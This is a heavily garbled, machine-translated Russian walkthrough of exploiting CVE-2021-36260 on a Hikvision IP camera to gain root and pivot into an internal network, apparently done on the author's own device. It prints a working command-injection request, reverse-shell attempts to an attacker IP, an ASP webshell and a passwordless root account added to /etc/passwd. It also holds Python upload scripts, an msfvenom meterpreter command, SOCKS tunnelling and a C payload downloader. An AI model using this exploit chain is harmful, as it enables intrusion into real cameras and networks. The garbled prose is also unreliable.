В одном сервисном проекте речь шла об атаке и использовании камер Hikvision, для чего требовалось получить камеру. shell
,Создать агента, тогда сделай две вещи
Поскольку версия системы камеры Hikvision в самой среде имеет лазейки, обычно это не должно вызвать затруднений. Однако после обнаружения мы должны были столкнуться с некоторыми проблемами. После тестирования мы обнаружили, что у Hikvision возникла проблема с оборудованием. shell
Настроены и кастрированы в различных функциях
Далее мы исследуем этот ограниченный shell
Как прорваться
Поскольку локальная среда доступна только в течение короткого периода времени, а систему Hikvision кажется непросто построить с использованием виртуальной машины, чтобы предоставить вам наиболее реалистичный опыт, я специально купил устройство Hikvision для тестирование.
DS-2CD2310-I
Уведомление об уязвимости https://www.hikvision.com/cn/support/CybersecurityCenter/SecurityNotices/20210919/
Статьи по анализу уязвимостей https://kms.app/archives/399/ http://f0und.icu/article/31.html
PoC-адрес https://github.com/Cuerz/CVE-2021-36260 https://github.com/Aiminsun/CVE-2021-36260
Проще говоря, это система подачи web в виде xml Тег передачи формата, Нет завершает проверку безопасности в процессе синтаксического анализа тега, в результате чего существует За Процесс сращивания команд кулисами вызвал Понятное введение команды
PoC
Пакет данных выглядит следующим образом
PUT /SDK/webLanguage HTTP/1.1
User-Agent: python-requests/2.22.0
Accept-Encoding: gzip, deflate
Accept: */*
Connection: close
Host: x.x.x.x
X-Requested-With: XMLHttpRequest
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
Accept-Language: en-US,en;q=0.9,sv;q=0.8
Content-Length: 71
<?xml version="1.0" encoding="UTF-8"?><language>$(ls -l>webLib/c)</language>
Приведенная выше команда будет ls -al
Результаты выполнения записываются в текущий каталог webLib/c
файл, а затем напрямую получить доступ к корневому каталогу /c
Вот и все
Посмотреть, что написано в аналитической статье, вы также можете $
Заменить на #
,действительныйпротестируй это (только существует я покупаю изкамеру под тест) и неосуществимо
После кодирования URL
Эта уязвимость интегрирована в инструмент Railgun и может быть реализована непосредственно с его помощью, чтобы избежать необходимости каждый раз отправлять два запроса на просмотр.
https://github.com/lz520520/railgun
Обычно было бы очень просто добраться сюда напрямую. curl
или wget
Программу управления можно разместить в режиме онлайн.
curl
или ВОЗ wget
Видно, что нет payload.elf
На сервере загрузки не найден доступ.
Все еще нет доступа
Разве нет этих двух команд? использовать which
и whereis
Найдите его и получите первым pwd
Протестируйте программу
Выполнение команды не возвращает никаких результатов. Здесь много возможностей, например, в системе. pwd
только shell Встроенные команды, никаких внешних файлов, для этого можно обратиться к предыдущим статьям. 《LD_PRELOAD угнать PWD почему не удалось | Linux Серия «Бэкдор»》
https://mp.weixin.qq.com/s/InMQaKOwns2mEIp5yF8dDw
Это также возможно whereis
и which
Самой команды не существует
Это легко проверить, просто найдите его в переменной окружения. PATH
, найдите программы, которые должны существовать и сравните результаты.
Вы можете видеть, что мы все еще root
Разрешения пользователя,PATH
Результаты следующие:
PATH=/sbin:/usr/sbin:/bin:/usr/bin
Как видите, это устройство shell
окружающая среда состоит из busybox
предоставлено, то мы будем использовать busybox
Программа как пример
Кажется,Нетэтот две программы, которые проверяют, существуют ли команда и инструмент, могут использовать только переменные среды. PATH
и busybox
Встроенный список
Как видите, команды, связанные с загрузкой файлов ftp
、scp
、rsync
и т. д. не поддерживаются
[, [[, ash, awk, bash, cat, chmod, cp, date, df, dmesg, du, echo, env, false, fdisk, free, fsync, gunzip, gzip, halt, hwclock, ifconfig, init, insmod, iostat, kill, linuxrc, ln, login, ls, lsmod, lzcat, lzma, mdev, mkdir, mkdosfs, mkfs.vfat, mknod, modprobe, mount, mpstat, mv, netstat, ping, ping6, poweroff, ps, pwd, reboot, rm, rmmod, route, sed, sh, sleep, stty, sync, tail, tar, test, top, touch, true, umount, unlzma, zcat
и Внешнее сетевое подключение т.е. ping
Связанные команды
bash -i >& /dev/tcp/192.168.1.125/4444 0>&1
Это потому, что он не подключен к Интернету? протестируй это ping
ping -t 1 192.168.1.125
Не удалось, похоже, он не поддерживается
nc -nv 192.168.1.125 4444
Не получилось, действительно я этого не видел nc
или ВОЗ netcat
команду, перейдите к пути выполнения переменной среды и найдите ее.
После тестирования среда выполнения команд пригодна для ;
и |
Поддержка не очень хорошая и ее нет grep
, может только ls -al
Мы взяли результаты и проанализировали их здесь.
не найдено nc
и netcat
и тому подобноеиз,Можетосуществлятьдокументсерединана самом деле В основном/bin
Внизиз busybox
предоставленные команды, а также da_info
поставлятьиз,Очевидно, есть большая вероятность, что последняя часть будет разработана самой Hikvision.,эти команды тесно связаны с реальными функциями продукта Связанный
Вы можете видеть, что это динамически связанный файл ELF, основанный на архитектуре ARM, из которого удалена информация о символах.
Вы можете использовать команду для перечисления или обратного анализа ELF, чтобы увидеть, будет ли метод удаленного управления, но метода удаленного управления не существует. da_info
Возможно, только Haikang из оборудования, не является универсальным методом, мы не проводим углубленного изучения этого метода, только проходимосуществовать взгляни banner
не найдено Можеткпрямойиспользоватьиз
Среда языка программирования также не найдена
Это само по себе web Система, по-прежнему asp
Да? Linux на asp
Это действительно редкость, я просто напишу один asp
Разве все не было бы кончено, если бы вошел троянский конь?
Найти первым web путь, от эксплойта PoC Можетк Знать,./webLib
Соответствующий каталог должен быть корневым.
прямой доступ index.asp
и dispatch.asp
Перейду к Авторизации /doc/page/login.asp
,Тогда сначала найдите страницу Авторизоваться Связанныйиз путь Бар,возможно, к этому будет проще получить доступ,Абсолютный путь выглядит следующим образом
/home/webLib/doc/page
проходить echo писать Webshell
<%
Response.CharSet = "UTF-8"
k="e45e329feb5d925b" 'Ключ длясоединять пароль 32-битное значение md5 из первых 16 цифр, пароль по умолчанию используется повторно
Session("k")=k
size=Request.TotalBytes
content=Request.BinaryRead(size)
For i=1 To size
result=result&Chr(ascb(midb(content,i,1)) Xor Asc(Mid(k,(i and 15)+1,1)))
Next
execute(result)
%>
Используется здесь Railgun Пользоваться не очень удобно. Burpsuite
Бар
Я пишу это в двух частях, потому что длина исполняемых команд для этой уязвимости ограничена и не одинакова.
доступ к веб-шеллу
Кажется, что никакого анализа нет. Ледяной Скорпион это связывает. Если мармелад есть, а мармелад нет, сделайте три полюса.
Как и ожидалось, не удалось подключиться
Почему он не анализируется? Взгляните на другие asp
Есть ли в этом файле что-то особенное?
Вроде ничего asp
код
Кажется, это ничего asp
,И это может быть собственный формат синтаксического анализа.
Нет в системе lsof
, поэтому используйте netstat
Узнайте, какая программа запустила это 80 порт
Как видите, это вызвано человеком по имени davinci
изпрограмма,существовать Онлайн такжене найдено Связанныйматериал,Кажется, это одноименная программа для редактирования. Понятно.
Поэтому я попытался найти эту программу
ls -al /proc/331/exe
Он находится в текущем каталоге, но был удален, согласно 《Linux Советы по руководству по реагированию на чрезвычайные ситуации -> 0x08 Восстановление данных, попробуйте восстановить программу
fd
В папке документов много содержимого, но и нет найдено deleted
Логотип. Уведомление! Его можно восстановить. Подробную информацию см. в руководстве по чрезвычайным ситуациям следующей версии. существовать maps
можно увидеть в файле davinci
место в памяти
Восстановить файлы из памяти непросто, и ключевая проблема сейчас в том, что файловый инструмент невозможно загрузить. Если его можно загрузить, то он уже давно находится под контролем.
В процессе отправки файлов были обнаружены следующие файлы:
/home/davinci.lzma // После сжатия программа lzma -d davinci.lzma к Разархивировать
/dav/davinci_bak
Можно рассмотреть обратный анализ программы. При прямом выполнении уязвимых мест не обнаружено.
Вышеупомянутое сначала попробовало оболочку удаленной загрузки и отскока, связанную с обратным управлением, а также попробовало Webshell с прямым управлением, но они не увенчались успехом. Поскольку это была тестовая среда, я знал, что она находится вне сети, поэтому я так и сделал. Не проверяйте ситуацию вне сети.
Нет nc
、telnet
и тому подобноеизинструмент,Просто используйте существующий сервис для мониторпорта Понятно,ssh
Сервис - хороший выбор, и это тоже PoC
способы использования
Эта камера от Hikvision ssh
дапроходить dropbear
от, а не от OpenSSH
https://matt.ucc.asn.au/dropbear/dropbear.html
Это приводит к запуску раньше OpenSSH
Команды не имеют никакого эффекта.
текущий ssh Кажется, Нет включен, ноот netstat
Результат выполнения команды показывает, что она включена.
PoC серединаиспользовать dropbear -R -B -p 1337
существовать 1337 монитор настройки порта, а также Новый Понятно аккаунт, не требующий пароля из
эта операционная система веб-камеры используется /etc/passwd
Поскольку мы несем ответственность за управление учетными записями и паролями, мы root
Разрешения, вы можете добавлять учетные записи напрямую
echo "P::0:0:W:/:/bin/sh" >> /etc/passwd
такого рода операции, связанные с перенаправлением, не следует выполнять Railgun Изучить Понятно, это может быть потому, что для хочет отображать результаты, поэтому к имеет Понятное перенаправление вывода по умолчанию, а наши перенаправления из конфликтуют друг с другом, поэтому используйте Burpsuite Это будет хорошо
dropbear -R -B -p 1337
этот Заказ тоже естьсуществовать Burpsuite
Казнен, я не знаю,почему Railgun серединаосуществлятьвстреча Нет Эффект
-R
:При необходимости создайте ключи хоста-B
:позволятьпустой пароль Авторизоваться-p 1337
:Эта опция указывает на начало Dropbуспех Авторизоваться SSH
нравитьсяиспользовать FinalShell Друзьям нужно обратить внимание на FinalShell Все еще нет поддерживается Нетпарольиз SSH соединять
Не записывайте открытый ключ,Написание учетной записи связано с тем, что написание учетной записи относительно просто и легко в использовании.,иметьпарольиниктопарольна самом деле Разница в том,существовать В /etc/passwd
второе место
нас Можеткв соответствии стекущий Операционная системаиз правилгенерироватьодининдивидуальныйпароль,к Создать user/userpass
Например
$1$yi$edpzE7hM/R4nw3PnFuiVL/
admin Значение хэша заключается в том, что пароль был md5
Шифрование и соль Значение yi
существоватьмы самииз Ubuntu Установить на whois
,ипроходить mkpasswd
генерировать Hash
sudo apt install whois
mkpasswd -m md5 --salt=SaltValue userpass
mkpasswd
Содержание соли должно быть не менее 8 ибо мы будем 12345678
как значение соли
$1$12345678$sEgioVKWacw6d9iYXc1P4/
Полная картина после сращивания следующая.
user:$1$12345678$sEgioVKWacw6d9iYXc1P4/:0:0:W:/:/bin/sh
직접проходит SSH,использовать кот Воляконтентписать /etc/passwd , не забудьте использовать добавление >>,и
этот ssh Также установите некоторые политики безопасности для Понятно, после неправильного пароля Авторизоваться (например, провести FinalShell попытка авторизоваться), приведет к бану по IP
использовать user/userpass проходить FinalShell Авторизоваться
На данный момент оболочка ssh успешно получена. Некоторая часть вышеперечисленного содержимого является предзнаменованием. Далее мы подробно обсудим это.
Хотя у меня есть разрешения SSH, я не могу загружать файлы или устанавливать прокси.
cat payload.elf | ssh -v -p 1337 P@192.168.1.64 'cat > payload.elf'
Жаль, что не удалось
теперь это FinalShell Все Можетксоединятьначальство Понятно,да Нетда Можеткпрямойиспользовать Его биографиядокумент Понятно
FinalShell по умолчаниювстречаиспользовать SFTP
или SCP
,FinalShell Предполагается, что некоторые протоколы не будут работать, если будет сообщено об ошибке, но все ещехотетьпротестируй это
scp -v -P 1337 payload.elf P@192.168.1.64:/home/payload.elf
Не удалось. После запроса информации выяснилось, что значение по умолчанию. Dropbear
не поддерживается SCP
из
sftp -P 1337 user@192.168.1.64
Не удалось. После запроса информации выяснилось, что значение по умолчанию. Dropbear
Не поддерживается SFTP
И нет 21 ожиданиепорт открыт
Раньше не удалось понять,Из-за неполного отображения ранее,Не знаю причину неудачи,Теперь вы можете попробовать еще раз
Кажется, busybox удаляет эти функции, включая UDP
CVE-2021-36260 изавтор Watchful_IP
существуютлазейки описание процесса введение Понятно доступно ксуществовать получить SSH shell назадпроходить Запрещать web Способ аутентификациииспользовать любой пароль Авторизоваться
https://watchfulip.github.io/2021/09/18/Hikvision-IP-Camera-Unauthenticated-RCE.html
но Автор Нет подробно описывает, как реализовать из, следующее: Github Исследователи безопасности по этому поводу обсуждают, проще говоря: Исправлять, что из базы данных, добавить в учетную запись, а затем перезапустить, но в настоящее время мы не можем использовать инструмент загрузки, не говоря уже о том, чтобы Исправить Sqlite База данных
https://github.com/jorhelp/Ingram/discussions/9
теперь это SSH Он установлен, и вы можете напрямую использовать его туннельную функцию для атаки на внутреннюю сеть.
В этом нет необходимости в командной строке. Это очень интуитивно понятный инструмент. —— MobaXterm
https://mobaxterm.mobatek.net/
этот Это очень интуитивно понятно Понятно,мы выбираем динамический порт вперед, следуя подсказкам заполняем местное актерское мастерствомониторпортк ИделатьдлясерединаизменятьизSSHсерверинформация
Нажмите кнопку «Пуск»
проходить Proxifier
Настройте прокси и проверьте, успешно ли он работает
https://www.proxifier.com/
этотвнутри Воля 127.0.0.1
этот весь местный трафик идет актерский мастерство,Браузердоступ 127.0.0.1
актерское успех мастерства, но это еще не очевидно, Создать агентаизэтотбашня Windows Сегмент сети – это 192.168.31.x
,нассуществовать 192.168.1.x Найти сервер и забанить 192.168.31.x и маршрутизация 192.168.1.97 изсоединять,этот Образец Сразу Можетктестактерское Успешно ли мастерство?
Имитируемый изолированный хост: 192.168.1.126
Правила следующие:
Установить апач2
sudo apt install apache2
Штурмовики близкое актерское мастерствоназад Можеткпрямой доступ Что 80 порт
Добавить брандмауэр
проходить Принесите свой собственныйиз ufw
завершить
# Включить брандмауэр
sudo ufw enable
# добавить вотклонятьдоступ 192.168.1.97 из правил
sudo ufw deny from 192.168.1.97
# добавить вотклонятьдоступ 192.168.31.0/24 Сеть из правил
sudo ufw deny from 192.168.31.0/24
# добавить вотклонятьдоступ 192.168.1.125 из правил
sudo ufw deny from 192.168.1.125
# добавить впозволятьдоступ 80 портиз правил
sudo ufw allow from 192.168.1.0/24 to any port 80
Атакующая машина получает доступ после закрытия прокси 80 порт
использоватькамера Hikvisionделатьдляактерское мастерство,сновадоступ
Успешно установлена Понятное соединение с интранетом изактерское мастерство.
Обычно переходите к предыдущему шагу актерское Мастерство постройки выполнено, осталось только выполнить боковое проникновение. Понятно, но это еще не все из RCE У всех есть возможность создать ssh
туннель, нам нужно найти более общий метод. Самый общий метод должен быть. echo
записать файл Понятно
Если это текстовый документ, мы напрямую подаем cat
Его можно записать, но двоичный исполняемый файл использует cat
Не очень хорошо писать Понятно, выше мы также попробуем конвейер Понятно принять. + cat
, тоже не получилось
Если вы хотите создать двоичный процесс, вы можете использовать PoC
конструкции, необходимо сделать бинарный документ изучить читаемым, символы из закодированной формы, для обычных систем часто воля можно сделать бинарный документ изучить base64 Кодирование, затем передача, носуществовать ограничено из shell в и предоставлено Нет base64 Инструмент декодирования, используемый каждый раз 16 Кодируйте в базовом формате, и закодированный контент передается echo -n -e
писатьприезжатьдокументсередина
эти два варианта эффективно воля в шестнадцатеричном представлении из двоичного кода может постепенно изучать документ и записывать его в документ.
Итак, кетот включает в себя два шага
\x00
этот форматИспользуйте один непосредственно в этом Python
Скриптзавершить
import requests
import sys
import urllib.parse
def read_string(string, chunk_size=2000):
start = 0
while start < len(string):
end = start + chunk_size
chunk = string[start:end]
yield chunk
start = end
# Создание заголовков запросов
headers = {
'User-Agent': 'python-requests/2.22.0',
'Accept-Encoding': 'gzip, deflate',
'Accept': '*/*',
'Connection': 'close',
'X-Requested-With': 'XMLHttpRequest',
'Content-Type': 'application/x-www-form-urlencoded; charset=UTF-8',
'Accept-Language': 'en-US,en;q=0.9,sv;q=0.8',
}
def sendPayload(target, poc_data):
# Установите данные для отправки
data = '<?xml version="1.0" encoding="UTF-8"?><language>$(echo -n -e "' + poc_data + '" >> webLib/payload.elf)</language>'
url = urllib.parse.urljoin(target, 'SDK/webLanguage')
# Отправить запрос
response = requests.put(url, headers=headers, data=data)
# Обдумать отвечает кодом состояния, ожидая, чтобы убедиться, что запрос успешен
if response.status_code == 500:
return True
return False
if len(sys.argv) < 3:
print("Usage: python script.py <target_address> <file_path>")
sys.exit(1)
target = sys.argv[1]
file_path = sys.argv[2]
with open(file_path, 'rb') as file:
elf_data = file.read()
hex_string = ''.join(['\\x{:02x}'.format(byte) for byte in elf_data])
hex_string_len = len(hex_string)
print(hex_string_len)
# Динамические настройки Host Поле
headers['Host'] = urllib.parse.urlparse(target).netloc
i = 0
for chunk in read_string(hex_string, chunk_size=120):
result = sendPayload(target, chunk)
if not result:
print('send again')
result = sendPayload(target, chunk)
if result:
print(str(i) + '/' + str(hex_string_len))
i += 120
else:
print('Request failed.')
sys.exit(1)
print('Over')
прямойиспользовать MSF
значительность, нам нужно знать Архитектура процессора, 32 все еще 64 битовый процессор, обратный порядок байтоввсе ещес прямым порядком байтов
похожий arch
、lscpu
Некоторые команды существуют в настоящеесредствесередина ВсеNet, вы можете просмотреть следующие команды кпроходить
cat /proc/cpuinfo
можно увидеть CPU для ARM926EJ-S rev 5 (v5l)
, после запроса это ARM Архитектуры, 32 Бит процессора
размерENDэто одно, что мы можем котсервер скачать, несколько, можно изучить документ, взгляни, это большой конец, все еще маленький конец из
к /bin/da_info
и /bin/busybox
Например
проходить Ghidra
провести анализ
https://github.com/NationalSecurityAgency/ghidra
Перетащите файлы прямо в Ghidra
Вот и все, рекомендуется выполнить этот шаг на виртуальной машине
можно увидеть,показыватьиз Вседа LE
, с прямым порядком байтов
ловить Вниз Приходитьпроходить msfvenom
генерировать payload
msfvenom -p linux/armle/meterpreter/reverse_tcp -a armle RHOST=192.168.1.125 RPORT=443 --platform linux -f elf -o payload.elf
Размер всего 344 байта
Знаем ли мы часть перед началом,Атакующие пакеты подлежат ограничениям,Конкретный лимит еще не установлен.,Каждое устройство отличается
Мы можем выполнить следующий скрипт для грубого теста:
import requests
import sys
import urllib.parse
# Создание заголовков запросов
headers = {
'User-Agent': 'python-requests/2.22.0',
'Accept-Encoding': 'gzip, deflate',
'Accept': '*/*',
'Connection': 'close',
'X-Requested-With': 'XMLHttpRequest',
'Content-Type': 'application/x-www-form-urlencoded; charset=UTF-8',
'Accept-Language': 'en-US,en;q=0.9,sv;q=0.8',
}
def sendPayload(target, poc_data):
# Установите данные для отправки
data = '<?xml version="1.0" encoding="UTF-8"?><language>$(echo -n -e "' + poc_data + '" > webLib/payload.txt)</language>'
url = urllib.parse.urljoin(target, 'SDK/webLanguage')
# Отправить запрос
response = requests.put(url, headers=headers, data=data)
# Обдумать отвечает кодом состояния, ожидая, чтобы убедиться, что запрос успешен
if response.status_code == 500:
return True
return False
def getPayloadLength(target):
url = urllib.parse.urljoin(target, 'payload.txt')
response = requests.get(url, headers=headers)
p_length = len(response.text)
return p_length
def testPayloadLength(target):
# Динамические настройки Host Поле
headers['Host'] = urllib.parse.urlparse(target).netloc
# Ограничение длины пакета
length = 4
while True:
chunk = 'A' * length
result = sendPayload(target, chunk)
p_length = getPayloadLength(target)
if result and length > p_length:
print(f"Payload length: {length - 4}")
break
length += 4
if len(sys.argv) < 2:
print("Usage: python script.py <target_address>")
sys.exit(1)
target = sys.argv[1]
testPayloadLength(target)
Если у вас есть скрипт «Исправлять Понятно», рекомендуется уменьшить это число и уменьшить его. 4 из целых кратных, это к 180 Например,Исправлятьechoписать Скрипт
import requests
import sys
import urllib.parse
def read_string(string, chunk_size=100):
start = 0
while start < len(string):
end = start + chunk_size
chunk = string[start:end]
yield chunk
start = end
# Создание заголовков запросов
headers = {
'User-Agent': 'python-requests/2.22.0',
'Accept-Encoding': 'gzip, deflate',
'Accept': '*/*',
'Connection': 'close',
'X-Requested-With': 'XMLHttpRequest',
'Content-Type': 'application/x-www-form-urlencoded; charset=UTF-8',
'Accept-Language': 'en-US,en;q=0.9,sv;q=0.8',
}
def sendPayload(target, poc_data):
# Установите данные для отправки
data = '<?xml version="1.0" encoding="UTF-8"?><language>$(echo -n -e "' + poc_data + '" >> webLib/payload.elf)</language>'
url = urllib.parse.urljoin(target, 'SDK/webLanguage')
# Отправить запрос
response = requests.put(url, headers=headers, data=data)
# Обдумать отвечает кодом состояния, ожидая, чтобы убедиться, что запрос успешен
if response.status_code == 500:
return True
return False
if len(sys.argv) < 3:
print("Usage: python script.py <target_address> <file_path>")
sys.exit(1)
target = sys.argv[1]
file_path = sys.argv[2]
with open(file_path, 'rb') as file:
elf_data = file.read()
hex_string = ''.join(['\\x{:02x}'.format(byte) for byte in elf_data])
hex_string_len = len(hex_string)
print(hex_string_len)
# Динамические настройки Host Поле
headers['Host'] = urllib.parse.urlparse(target).netloc
i = 0
for chunk in read_string(hex_string, chunk_size=180):
result = sendPayload(target, chunk)
if not result:
print('send again')
result = sendPayload(target, chunk)
if result:
print(str(i) + '/' + str(hex_string_len))
i += 180
else:
print('Request failed.')
sys.exit(1)
print('Over')
Успешно восстановите оболочку и протестируйте загруженный файл.
Файл успешно загружен
https://github.com/fatedier/frp https://github.com/fatedier/frp/releases/download/v0.55.1/frp_0.55.1_linux_arm.tar.gz
скачать arm
32-я версия
существоватьпытатьсяпроходить meterpreter
Сделать загрузку frp час,Результат передается наполовину,meterpreter
Оно прекратилось, а потом появилось снова
Кажетсяда Перезапуск Понятно,Все предыдущие операции провалились,это очень удобно использовать для удаления следов Понятно
Давайте не будем веселиться посреди невзгод, сейчас в существовании есть две идеи
meterpreter
продолжатьзагрузитьfrp
ждать echo
входитьecho
Простейшее устройство для поиска для входаКакой метод выбрать? существоватья Кажется meterpreter
Метод из лучше, но давайте реализуем оба из них, и сначала реализуем одну часть. meterpreter
Используйте сценарий еще раз для загрузки, установления мониторинга, предоставления разрешений и выполнения.
загрузить фрп
Хорошо Бар, Кажется, это не производительность оборудования Hikvision действительно нет этапы Мы доставляем напрямую 11 Программа Миз
Загрузить ew
ew намного меньше, всего 195К
Создать прокси
https://github.com/idlefire/ew
Атакующая машина VPS (192.168.1.125) имитирует публичный IP
./ew -s rcsocks -l 1080 -e 8888
Создать мониторинг прокси 1080 порт,и Воляданныепроходить 8888 портпередай это дальше
Камера жертвы (192.168.1.64)
./ew -s rssocks -d 192.168.1.125 -e 8888
Физическая машина атакующей машины (192.168.31.x)
существование Предыдущий шаг, который мы делаем Понятно изолировать,192.168.1.126
Разрешено только в одном сегменте сети 192.168.1.97
доступ
использовать socks5://192.168.1.125:1080
доступ http://192.168.1.126
пытатьсяиспользоватьактерское мастерстводоступ
Агент успешно установлен
этот В некоторых местах много ям,Мне потребовалось несколько дней, чтобы найти решение,Далее Воля показывает процесс наступления на яму.,Я постараюсь быть кратким,Не обращайте внимания на ямы
проходитьначальстволапшаизшаг,Нам удалось осуществить фактический контроль,но Прямая установка троянских коней может оказать значительную нагрузку на сами некоторые устройства.,Особенно такого рода встроенные устройства,Мне приходилось перезапускать так много раз,каждый раз Перезапускоборудованиена Троянский коньждать Следы будут полностью удалены.Понятно
Представьте, что мы передали первыми MSF
Троянец, позже использованный meterpreter
передача инфекции Понятноактерское мастерствоили ВОЗ攻击программа,использовать Понятно Устройство вылетело через некоторое время,Перезапуск,Все вернулось на круги своя, как было раньше,Итак, мы входим в цикл «Понимание».,Но проблема в том,,Этими циклами управляют люди.,Не инженерия,это не преследуется во время осуществления фактической атаки из
Мы также надеемся, что часть содержания этого материала носит инженерный характер.,И поскольку набор команд другой,Различный Троянский коньпрограммаиактерское Совместима ли программа мастерства – тоже огромная проблема.
В этом разделе мы представим некоторые распространенные идеи, используемые злоумышленниками.,То есть сначала передать небольшую искачку,Изназад Использовать загрузчикскачатьнастоящийизpayload,конечно Понятно,на самом делеписать meterpreter
изприрода То же самое
Некоторые друзья могут сказать,это не сложно,Нужно ли это говорить отдельно??
это написано отдельно, потому что для включает в себя написание загрузки и кроссплатформенную компиляцию ожидания.
wget
и curl
Так как Понятно имеет много функций, размер относительно большой, поэтому лучше сделать одну. ew
Понятно
Далее мы напишем минимальное устройство для скачивания с функцией загрузки. http://192.168.1.125/a
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <fcntl.h>
#include <unistd.h>
#include <sys/socket.h>
#include <arpa/inet.h>
#include <netdb.h>
#include <sys/stat.h>
#include <sys/types.h>
#define BUFFER_SIZE 4096
int main(void) {
const char *host = "192.168.1.125";
const char *path = "/a";
const char *output_file = "payload";
const int port = 80;
struct sockaddr_in server_address;
int sockfd, filefd;
char request[256];
char buffer[BUFFER_SIZE];
ssize_t bytes_read;
int start_writing = 0; // Flag to start writing to file
// Create socket
sockfd = socket(AF_INET, SOCK_STREAM, 0);
if (sockfd < 0) {
fprintf(stderr, "Error creating socket\n");
return 1;
}
// Set server address
memset(&server_address, 0, sizeof(server_address));
server_address.sin_family = AF_INET;
server_address.sin_port = htons(port);
if (inet_pton(AF_INET, host, &(server_address.sin_addr)) <= 0) {
fprintf(stderr, "Invalid address or address not supported\n");
close(sockfd);
return 1;
}
// Connect to server
if (connect(sockfd, (struct sockaddr *)&server_address, sizeof(server_address)) < 0) {
fprintf(stderr, "Error connecting to server\n");
close(sockfd);
return 1;
}
// Send HTTP GET request
snprintf(request, sizeof(request), "GET %s HTTP/1.1\r\nHost: %s\r\n\r\n", path, host);
if (write(sockfd, request, strlen(request)) < 0) {
fprintf(stderr, "Error sending request\n");
close(sockfd);
return 1;
}
// Open output file
filefd = open(output_file, O_WRONLY | O_CREAT | O_TRUNC, S_IRUSR | S_IWUSR);
if (filefd < 0) {
fprintf(stderr, "Error opening file for writing\n");
close(sockfd);
return 1;
}
// Read and write response data
while ((bytes_read = read(sockfd, buffer, BUFFER_SIZE)) > 0) {
// Check if the response headers have ended
if (!start_writing) {
char *body_start = strstr(buffer, "\r\n\r\n");
if (body_start != NULL) {
start_writing = 1;
bytes_read -= (body_start - buffer + 4);
memcpy(buffer, body_start + 4, bytes_read);
} else {
continue;
}
}
if (write(filefd, buffer, bytes_read) < 0) {
fprintf(stderr, "Error writing to file\n");
close(filefd);
close(sockfd);
return 1;
}
}
// Check for read error
if (bytes_read < 0) {
fprintf(stderr, "Error reading response\n");
close(filefd);
close(sockfd);
return 1;
}
// Close file and socket
close(filefd);
close(sockfd);
return 0;
}
Если вы продолжите заниматься малым,Можно удалить некоторую обработку ошибок,При этом также убран вывод Воля в документ.,Вывод непосредственно на стандартный вывод,Изназадосуществлятьизчасждатьпроходить Перенаправлениеприезжатьдокументзавершитьдокументдержать
Большинство моих друзей и оборудования x86
из,наснуждатьсяхотетьсуществовать x86
из CPU компилировать на arm
Архитектура из программы
Эта операциясредадля Ubuntu Server 22.04 x86_64
непосредственно в системе apt install gcc
Установитьиз gcc
очевиднода Нет能использовать Вкомпилировать Понятно,придется Установить Целевая платформа зависит отизgcc
,И только тогда я обнаружил,одинarm
Связанный gcc
Вообще говоря, существуют как минимум следующие типы
это обнаружено на этот раз ARM
Архитектура Версия и подобные довольно сложны, gcc Существует несколько методов классификации:
Основные различия между различными архитектурами Arm GCC (GNU Compiler Collection) отражают следующие аспекты:
насиз CPU информация
Processor : ARM926EJ-S rev 5 (v5l)
BogoMIPS : 218.72
Features : swp half thumb fastmult edsp java
CPU implementer : 0x41
CPU architecture: 5TEJ
CPU variant : 0x0
CPU part : 0x926
CPU revision : 5
Hardware : r2
Revision : 0000
Serial : 0000000000000000
мы выбираем arm-linux-gnueabi-gcc
этотиндивидуальный gcc
sudo apt update
sudo apt install gcc-arm-linux-gnueabi
Сначала самое простое hello wrold
Например,тест Нет проблем, тогда попробуйте наше приложение для поиска
#include <stdio.h>
int main() {
printf("Hello, World!\n");
return 0;
}
Отображение результата выполнения -sh: ./payload.elf: not found
,это Что происходит?
Может быть, файл был неполным в процессе передачи?
Это не причина, а значит, что-то не так с самим документом.
В процессе компиляции может возникнуть проблема с параметрами.,После запроса,Обнаружить Можеткнастраивать ARM
из Архитектурак ИCPUпараметр
arm-linux-gnueabi-gcc -march=armv5tej -mtune=arm926ej-s hello.c
все ещеэтот результаты
написан на языке ассемблера hello wrold
, затем используйте мы выбираемизкомпилироватьмашинакомпилировать、соединять,взглянида Нетвстречаэтот Образец
.data
msg:
.ascii "Hello, world!\n\0"
.text
.global _start
_start:
mov r0, #1 @ stdout file descriptor
ldr r1, =msg @ address of the message
ldr r2, =13 @ length of the string (including newline)
mov r7, #4 @ syscall number for write()
syscall_write:
svc #0 @ make system call
mov r7, #1 @ syscall number for exit()
mov r0, #0 @ exit code
syscall_exit:
svc #0 @ make system call to exit
Скомпилировать, связать
arm-linux-gnueabi-as hello_world.s -o hello_world.o # компилироватьдля Цельдокумент
arm-linux-gnueabi-ld -o hello_world hello_world.o # 链ловить Цельдокументдля Можетосуществлятьдокумент
можно увидеть Ассемблер можно успешно косуществлять, а это значит, что выбор компилируемого неправильный, и должна быть проблема с кодом, т.е. libc
вне Понятновопрос
Изначально я хотел написать компилятор загрузки на ассемблере, но не знаю, как использовать ARM. Компиляция, потом сдалась
Может ли быть так, что существующий динамический компоновщик не существует в целевой системе??
Проверьте динамический компоновщик в целевой среде.
Действительно,Цельсистемана动态链ловитьустройствода uClibc
,Пробуем Новый документ,имядля /lib/ld-linux.so.3
, после взгляни наше существование из процедурыэтот до и после узнать, в чем разница между Нет
Причина проблемы найдена. libc
из-за причины,этот У нас есть два пути Понятно
uClibc
для динамического компоновщика из программыэто все просто, просто добавьте один -static
Параметры и все
arm-linux-gnueabi-gcc -march=armv5tej -mtune=arm926ej-s -static hello.c
Размер после статической компиляции равен 567K
,и ew
почти,567K
проходить echo
писатьнуждатьсяхотетьочень длинныйизчасмежду,Самое главное это,Менее половины передачи приведет к сбою камеры.,Перезапуск,Потом все начинается сначала,но Мы можем решить эту проблему, добавив временную задержку между доставкой каждой посылки.
Я буду использовать его непосредственно в этом MSF
загрузитьначальствоидти Понятно
хороший парень,Нетспособ выжить Понятноах,Статическая компиляция показывает, что ядро слишком старое Понятно,Нужно ли мне еще переустанавливать всю низкоядерную систему?
все ещекомпилировать uClibc
Бар с последующей динамической компоновкой
https://uclibc.org/
Мы также выбираем 0.9.32.1
Версия
# скачать uClibc
wget https://uclibc.org/downloads/uClibc-0.9.32.1.tar.xz
# Разархивировать
tar -xf uClibc-0.9.32.1.tar.xz
# Конфигурация
make menuconfig
Target Architecture выбирать arm
Target Architecture Features and Options
Target ABI -> EABI
Target Processor Type -> Arm 926T
Target Processor Endianness -> Little Endian
держать
компилировать
make
sudo make install
Ошибка Понятно, могло ли это быть gcc
Не поддерживается -mlittle-endian
параметр?,протестируй это
